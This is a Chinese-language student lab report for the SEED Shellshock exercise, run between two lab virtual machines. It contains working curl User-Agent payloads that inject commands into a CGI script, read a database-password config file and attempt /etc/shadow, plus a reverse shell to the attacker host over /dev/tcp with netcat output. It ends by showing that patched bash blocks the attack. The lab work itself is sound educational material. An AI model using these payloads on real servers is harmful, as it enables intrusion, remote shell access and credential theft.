信息安全实验报告

Lab 3　Shellshock

孙铁

SA20225414

Task 1

实验所使用的Ubuntu 16.04系统有两种Bash程序：Bash和Bash_Shellshock。区别在于 Bash_Shellshock 没有针对 Shellshock 攻击的补丁，无法防御此种攻击。

通过实验进行验证：

Bash：

```
[04/11/21]seed@VM:~$ foo='() { echo "hello"; }; echo "test";'
[04/11/21]seed@VM:~$ echo $foo
() { echo "hello"; }; echo "test";
[04/11/21]seed@VM:~$ export foo
[04/11/21]seed@VM:~$
```

Bash_Shellshock：

```
[04/11/21]seed@VM:~$ bash_shellshock
test
[04/11/21]seed@VM:~$ echo $foo


[04/11/21]seed@VM:~$ declare -f foo
foo ()
{
    echo "hello"
}
```

可以看到在 Bash_Shellshock 中，foo 变量第二个分号后面的部分被执行。

Task 2

准备两台虚拟机：

攻击者 10.0.2.7：

```
Link encap:Ethernet  HWaddr 08:00:27:32:83:13
inet addr:10.0.2.7  Bcast:10.0.2.255  Mask:255.255.255.0
```

目标服务器 10.0.2.8

```
Link encap:Ethernet  HWaddr 08:00:27:89:23:2d
inet addr:10.0.2.8  Bcast:10.0.2.255  Mask:255.255.255.0
```

编写 CGI 程序 myprog.cgi 放在目标服务器(10.0.2.8) 中 /usr/lib/cgi-bin 路

径下，其作用是打印出“Hello World”。

```
#!/bin/bash_shellshock

echo "Content-type: text/plain"
echo
echo
echo "Hello World"
```

将文件权限设置为 755 (令其可执行)

```
[04/11/21]seed@VM:.../cgi-bin$ sudo chmod 755 myprog.cgi
```

在攻击者主机(10.0.2.7)上，使用 curl 命令，结合目标主机 IP 地址，进行攻击：

```
[04/11/21]seed@VM:~$ curl http://10.0.2.8/cgi-bin/myprog.cgi

Hello World
```

Task 3

修改目标服务器(10.0.2.8)中 /usr/lib/cgi-bin 路径下的 CGI 程序 myprog.cgi，其作用是打印出环境变量。

```
#!/bin/bash_shellshock

echo "Content-type: text/plain"
echo
echo "****** Environment Variables ******"
strings /proc/$$/environ
```

文件权限设置为 755。

在攻击者主机(10.0.2.7)上，使用 curl 命令 -v 选项打印出 HTTP 请求和服务器的响应：

```
[04/11/21]seed@VM:~$ curl -v http://10.0.2.8/cgi-bin/myprog.cgi
*   Trying 10.0.2.8...
* Connected to 10.0.2.8 (10.0.2.8) port 80 (#0)
> GET /cgi-bin/myprog.cgi HTTP/1.1
> Host: 10.0.2.8
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Sun, 11 Apr 2021 05:40:07 GMT
< Server: Apache/2.4.18 (Ubuntu)
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
< Content-Type: text/plain
<
****** Environment Variables ******
HTTP_HOST=10.0.2.8
HTTP_USER_AGENT=curl/7.47.0
HTTP_ACCEPT=*/*
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```

尝试从攻击者主机(10.0.2.7)向目标服务器(10.0.2.8)发送数据，curl 命令的一些选项可以用来设置请求字段，根据上图可以看出，User-Agent 字段的信息与目标服务器环境变量 HTTP_USER_AGENT 完全相同，说明服务器从 HTTP 请求中获取 User-Agent 字段，并将其赋值给环境变量 HTTP_USER_AGENT。

实验进行验证：
使用 curl -A 命令修改 HTTP 请求的 User-Agent 字段为“test”：

```
[04/11/21]seed@VM:~$ curl -A "test" -v http://10.0.2.8/cgi-bin/myprog.cgi
*   Trying 10.0.2.8...
* Connected to 10.0.2.8 (10.0.2.8) port 80 (#0)
> GET /cgi-bin/myprog.cgi HTTP/1.1
> Host: 10.0.2.8
> User-Agent: test
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Sun, 11 Apr 2021 05:48:40 GMT
< Server: Apache/2.4.18 (Ubuntu)
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
< Content-Type: text/plain
<
****** Environment Variables ******
HTTP_HOST=10.0.2.8
HTTP_USER_AGENT=test
HTTP_ACCEPT=*/*
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```

目标服务器(10.0.2.8)中的环境变量果然被修改。

因为 CGI 程序 myprog.cgi 开头是“#！/bin/bash_shellshock”，说明该程序是一个运行在 bash_shellshock 下的 shell 脚本。myprog.cgi 程序被调用的时候，会调用 fork 函数创建一个新进程，然后再使用 exec 函数来执行 CGI 程序，并将环境变量传递给子进程。其中有些环境变量可以通过人为控制传入指定的字符，例如 HTTP_USER_AGENT。

User-Agent / HTTP_USER_AGENT 并不是唯一可以使用的字段，curl 命令还有其他选项可以修改另外一些字段。说明 CGI 进程会从远程用户的 HTTP 请求中获取一些信息来赋值给服务器的环境变量。这就导致服务器存在了可以被进攻的漏洞。

Task 4

通过 shellshock 攻击获取一些机密文件的内容：

```
[04/12/21]seed@VM:~$ curl -A "() { echo hello; }; echo Content_type:
 text/plain; echo;/bin/cat /var/www/CSRF/Elgg/elgg-config/settings.p
hp" http://10.0.2.8/cgi-bin/myprog.cgi
```

环境变量 USER_AGENT 被传递给子进程，被转化为一个函数和三个 shell 命令并且执行，从而得到数据库密码：

```
/**
 * The database password
 *
 * @global string $CONFIG->dbpass
 */
$CONFIG->dbpass = 'seedubuntu';
```

同样方式尝试查看 /etc/shadow 文件：

```
[04/12/21]seed@VM:~$ curl -A "() { echo hello; }; echo Content_type:
 text/plain; echo;/bin/cat /etc/shadow" http://10.0.2.8/cgi-bin/mypr
og.cgi
[04/12/21]seed@VM:~$ curl -A "() { echo hello; }; echo Content_type:
 text/plain; echo;sudo /bin/cat /etc/shadow" http://10.0.2.8/cgi-bin
/myprog.cgi
[04/12/21]seed@VM:~$
```

发现无法查看。

推测这是因为/etc/shadow 文件的权限为 000，需要 root 权限才可以查看。

Task 5

首先来正常构建一个反向 shell：

在攻击者主机(10.0.2.7)上，监听 9090 端口的 TCP 连接：

```
[04/12/21]seed@VM:~$ nc -lv 9090
Listening on [0.0.0.0] (family 0, port 9090)
```

在目标主机(10.0.2.8)上，运行如下指令该指令会触发一个连接到攻击者主机 9090 端口的 TCP 连接：

```
[04/12/21]seed@VM:~$ /bin/bash -i > /dev/tcp/10.0.2.7/9090 0<&1 2>&1
```

攻击者主机收到并建立连接，在攻击者主机(10.0.2.7)上输入 ifconfig 可以看到，此时的 shell 运行在目标主机（10.0.2.8)上，这样就是构建了一个反向 shell。

```
[04/12/21]seed@VM:~$ nc -lv 9090
Listening on [0.0.0.0] (family 0, port 9090)
Connection from [10.0.2.8] port 9090 [tcp/*] accepted (family 2, sport 40270)
[04/12/21]seed@VM:~$

[04/12/21]seed@VM:~$ ifconfig
ifconfig
enp0s3    Link encap:Ethernet  HWaddr 08:00:27:89:23:2d
          inet addr:10.0.2.8  Bcast:10.0.2.255  Mask:255.255.255.0
```

下面使用 shellshock 攻击来创建一个反向 shell：

在攻击者主机(10.0.2.7)上，监听 9090 端口的 TCP 连接：

```
[04/12/21]seed@VM:~$ nc -l 9090 -v
Listening on [0.0.0.0] (family 0, port 9090)
```

在攻击者主机(10.0.2.7)用新终端运行如下指令，进行 shellshock 攻击：

```
[04/12/21]seed@VM:~$ curl -A "() { echo hello; }; echo Content_type: text/plain;
 echo; echo; /bin/bash -i > /dev/tcp/10.0.2.7/9090 0<&1 2>&1" http://10.0.2.8/cg
i-bin/myprog.cgi
```

curl 指令被执行，使得目标服务器触发了一个 shell 并连接到了攻击者主机的 9090 端口。这个 shell 的输入来自 TCP 连接，输出又被传给同一个 TCP 连接。攻击者的 netccat 程序接受连接并显示由目标服务器的 CGI 程序触发的 shell 程序送来的 shell 提示符，这样就成功创建了反向 shell：

```
[04/12/21]seed@VM:~$ nc -l 9090 -v
Listening on [0.0.0.0] (family 0, port 9090)
Connection from [10.0.2.8] port 9090 [tcp/*] accepted (family 2, sport 40272)
bash: cannot set terminal process group (1944): Inappropriate ioctl for device
bash: no job control in this shell
www-data@VM:/usr/lib/cgi-bin$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@VM:/usr/lib/cgi-bin$ ifconfig
ifconfig
enp0s3    Link encap:Ethernet  HWaddr 08:00:27:89:23:2d
          inet addr:10.0.2.8  Bcast:10.0.2.255  Mask:255.255.255.0
```

反向 shell 实际是在目标服务器上运行，但是它会从攻击者主机上获取输入，并 shell 运行输出打印在攻击者主机上。

Task 6

本实验需要使用具有防护补丁的 bash 程序，只需要将 myprog.cgi 代码的第一行中的 bash_shellshock 改为 bash：

新建文件 myprog1.cgi：

```
#!/bin/bash

echo "Content-type: text/plain"
echo
echo "****** Environment Variables ******"
strings /proc/$$/environ
```

将其文件权限设置为 755。

重做 task3：

在攻击者主机(10.0.2.7)上，使用 curl 命令 -v 选项打印出 HTTP 请求和服务器的响应，注意将 myprog.cgi 替换成 myprog1.cgi：

```
[04/12/21]seed@VM:~$ curl -v http://10.0.2.8/cgi-bin/myprog1.cgi
*   Trying 10.0.2.8...
* Connected to 10.0.2.8 (10.0.2.8) port 80 (#0)
> GET /cgi-bin/myprog1.cgi HTTP/1.1
> Host: 10.0.2.8
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Mon, 12 Apr 2021 13:15:43 GMT
< Server: Apache/2.4.18 (Ubuntu)
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
< Content-Type: text/plain
<
****** Environment Variables ******
HTTP_HOST=10.0.2.8
HTTP_USER_AGENT=curl/7.47.0
HTTP_ACCEPT=*/*
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```

使用 curl -A 命令修改 HTTP 请求的 User-Agent 字段为“test”：

```
[04/12/21]seed@VM:~$ curl -A "test" -v http://10.0.2.8/cgi-bin/myprog1.cgi
*   Trying 10.0.2.8...
* Connected to 10.0.2.8 (10.0.2.8) port 80 (#0)
> GET /cgi-bin/myprog1.cgi HTTP/1.1
> Host: 10.0.2.8
> User-Agent: test
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Mon, 12 Apr 2021 13:19:26 GMT
< Server: Apache/2.4.18 (Ubuntu)
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
< Content-Type: text/plain
<
****** Environment Variables ******
HTTP_HOST=10.0.2.8
HTTP_USER_AGENT=test
```

目标服务器(10.0.2.8)中的环境变量还是会被修改。

重做 task5：

注意将 myprog.cgi 替换成 myprog1.cgi

```
[04/12/21]seed@VM:~$ curl -A "() { echo hello; }; echo Content_type: text/plain;
 echo; echo; /bin/bash -i > /dev/tcp/10.0.2.7/9090 0<&1 2>&1" http://10.0.2.8/cg
i-bin/myprog1.cgi
```

攻击者主机没有建立连接：

```
[04/12/21]seed@VM:~$ nc -lv 9090
Listening on [0.0.0.0] (family 0, port 9090)
```

没有成功创建反向 shell，而是直接打印出了环境变量：

```
[04/12/21]seed@VM:~$ curl -A "() { echo hello; }; echo Content_type: text/plain;
 echo; echo; /bin/bash -i > /dev/tcp/10.0.2.7/9090 0<&1 2>&1" http://10.0.2.8/cg
i-bin/myprog1.cgi
****** Environment Variables ******
HTTP_HOST=10.0.2.8
HTTP_USER_AGENT=() { echo hello; }; echo Content_type: text/plain; echo; echo; /
bin/bash -i > /dev/tcp/10.0.2.7/9090 0<&1 2>&1
HTTP_ACCEPT=*/*
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SERVER_SIGNATURE=<address>Apache/2.4.18 (Ubuntu) Server at 10.0.2.8 Port 80</add
```

这应该是因为 bash 修补了漏洞之后，不会把环境变量解析为函数和命令运行，这样一来 CGI 程序被执行时虽然还会被以同样的原理提供环境变量，但恶意植入的代码无法发挥作用。